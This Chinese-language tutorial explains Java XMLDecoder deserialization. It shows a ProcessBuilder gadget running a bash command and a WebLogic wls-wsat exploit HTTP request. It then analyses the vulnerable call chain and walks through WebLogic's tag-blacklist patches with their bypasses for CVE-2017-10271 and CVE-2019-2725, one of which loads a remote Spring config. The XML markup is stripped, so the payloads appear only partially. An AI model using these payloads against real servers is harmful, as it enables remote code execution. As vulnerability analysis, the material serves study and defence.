XMLDecoder和XMLEncoder
java中对对象的序列化和反序列化有多种实现方式,比如原生的使用ObjectOuptutStream/ObjectInputStream来实现序列化和反序列化,还有使用fastjson来进行对象的序列/反序列化,还有使用XStream等,这里的XMLEncoder/XMLDecoder也是java提供的一种序列化和反序列化的方式
XMLEncoder/XMLDecoder
定义一个java bean,这个java bean的构造方法是一个无参构造方法
package poc.xmlserilize;
import java.io.Serializable;
import java.util.Vector;
public class MyBean {
private boolean myBoolean;
private String myString;
private Vector myVector;
public MyBean() {
}
public boolean isMyBoolean() {
return myBoolean;
}
public void setMyBoolean(boolean myBoolean) {
this.myBoolean = myBoolean;
}
public String getMyString() {
return myString;
}
public void setMyString(String myString) {
this.myString = myString;
}
public Vector getMyVector() {
return myVector;
}
public void setMyVector(Vector myVector) {
this.myVector = myVector;
}
public void sayHello(String name){
System.out.println("this is " + name);
}
}
接下来用XMLEncoder来序列化这个java bean
package poc.xmlserilize;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Vector;
public class XMLEncodeF {
public static void main(String[] args) throws Exception{
MyBean mb = new MyBean();
mb.setMyBoolean(true);
mb.setMyString("xml is cool");
Vector v = new Vector();
v.add("one");
v.add("two");
v.add("three");
mb.setMyVector(v);
FileOutputStream fos = new FileOutputStream("mybean.xml");
BufferedOutputStream bos = new BufferedOutputStream(fos);
XMLEncoder xmlEncoder = new XMLEncoder(bos);
xmlEncoder.writeObject(mb);
xmlEncoder.close();
// XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
// MyBean bean = (MyBean)xmlDecoder.readObject();
// xmlDecoder.close();
}
}
看一下生成的xml对象
我们现在清楚了xml对象生成的方法,我们根据文档中的一个xml对象例子来进行分析
frame1
0
0
200
200
Hello
true
关于XMLEncoder和XMLDecoder有文档介绍:https://docs.oracle.com/javase/7/docs/api/java/beans/XMLEncoder.html
其中很关键的一部分
这里对标签的作用有一定的介绍,但是是英文,感觉还是不是很好理解,我们可以稍微看一下这里的介绍,明确一下标签的作用,然后通过例子自己分析一下文档结构
- 每一个标签都相当于一个方法调用
- object标签,代表一个表达式,它的值被用作围绕的标签的参数
来看上面的
Hello
object相当于是一个表达式,object标签的结果被作为add这个方法的参数被传入,相当于add(JButton xxx)
- void标签,代表一个声明,比如变量的声明,方法调用的声明,它的值不被认为是围绕标签的参数
来看这一段
frame1
void标签代表一个声明,这里就是一个变量的声明,property用来表示变量名,void里面的标签用来表示变量的值,这里是一个string类型的变量
- 除了void标签,其他任何标签都被认为是围绕标签的参数
举个例子
test
因为这里的test不是void标签,所以test被作为MyBean构造函数的参数传入
- 方法可以通过method属性来进行说明,比如上面的
Hello
- xml标准的id和idref用来引用上面已经定义的一个对象
- class属性用来明确的指出一个类的静态方法或者构造方法,为类的全限定名
- void如果没有指定class的话使用上下文的环境
- string类型可以直接使用
test 来表示
这就是最关键的几个标签了,用这几个标签可以完整的描述一个类,但是java为了方便,也提供了如
XML反序列化很有意思的一点就是我们可以自己去指定任意一个方法去执行,而且这个类完全可以不用实现Serializable接口,我们尝试自己构造一个ProcessBuilder对象
/bin/bash
-c
touch /tmp/blog
反序列化:
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(new FileInputStream("mybean.xml")));
MyBean bean = (MyBean)xmlDecoder.readObject();
xmlDecoder.close();
通过XMLDecoder反序列化成功执行命令
可以看到XMLDecoder反序列化,根本不需要调用链,因为它本身可以反序列化一个类,并且可以调用任意方法,我们来稍微分析一下ProccessBuilder的构造
首先是用object标签声明了一个ProcessBuilder的对象,然后里面的array标签作为ProcessBuilder的构造函数的参数传入,而最后的void标签指定了调用的方法为start,并且start方法并没有参数可以传入,所以里面没有其他的元素了
和我们平常调用ProcessBuilder一致:
小结
所以在挖掘XMLDecoder反序列化的时候,只要在构造XMLDecoder对象的时候传入的InputStream我们可控,而且在XMLDecoder之后调用了readObject方法,就可以证明有反序列化漏洞
weblogic xmldecoder反序列化
先来个exp:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.0.100:7001
Content-Length: 849
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.0.100:7001
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.100:7001/wls-wsat/CoordinatorPortType
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cnva_2132_saltkey=DVnLKAq2; cnva_2132_lastvisit=1580888977; cnva_2132_sid=Phr4h5; cnva_2132_lastact=1580894593%09search.php%09forum
Connection: close
/bin/bash
-c
touch /tmp/webaklsdjfkla
成功执行命令:
把weblogic调试环境搭建好,最终出问题的地方是在WorkContextXmlInputAdapter这个类中的readUTF方法中
可以看到,这里调用了XMLDecoder的readObject方法,所以只要构造XMLDecoder的时候输入流我们可控,就可以造成xml反序列化漏洞
把断点下在readUTF上,可以看到整个的调用链:
weblogic的函数调用十分深,一步步跟太复杂,对传入soap协议进行解析的地方是在processRequest这个函数中,我们从这里跟起
这里传入了Packet对象,其实就是我们POST传入的soap协议
通过这两个函数获取了soap协议头的值
这里对头部还有一个匹配的操作,必须有一些特定的属性和字段
这就是为什么soap头要添加几个字段和属性
接下来我们获取到了soap的头部,之后进入到readHeaderOld,在这里对soap的头部进行了去除,拿出了包裹的xml对象
接下来对WorkContextXmlInputAdapter的实例化,这里实例化了XMLDecoder并且可以看出来,传入的输入流正是我们可控的xml对象
这个时候,我们只要找到调用XMLDecoder.readObject的地方就可以了,从这里的WorkContextXmlInputAdapter可以猜测这个类是一个拦截器,我们一致跟着var1这个变量,看它在什么时候调用了自己的方法,一致跟到readEntry这个方法,这个变量调用了readUTF方法
最后成功在readUTF中触发反序列化
weblogic的修复和绕过
第一次拦截
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
防御非常简单,如果开始的标签为object标签直接抛出异常推出
CVE-2017-10271
前面说过了,在文档中也提到,可以不用object标签来代表一个对象,void标签同样可以,也就是CVE-2017-10271的绕过方法:
calc
第二次拦截
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
CVE-2019-2725
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
http://xxxx
文档也提到了class标签
但是没有很详细的说明,CVE-2019-2725就是基于class标签的绕过
因为之前限制了不能有method属性,所以不能直接执行方法了,所以只能找类的构造方法中有反序列化的地方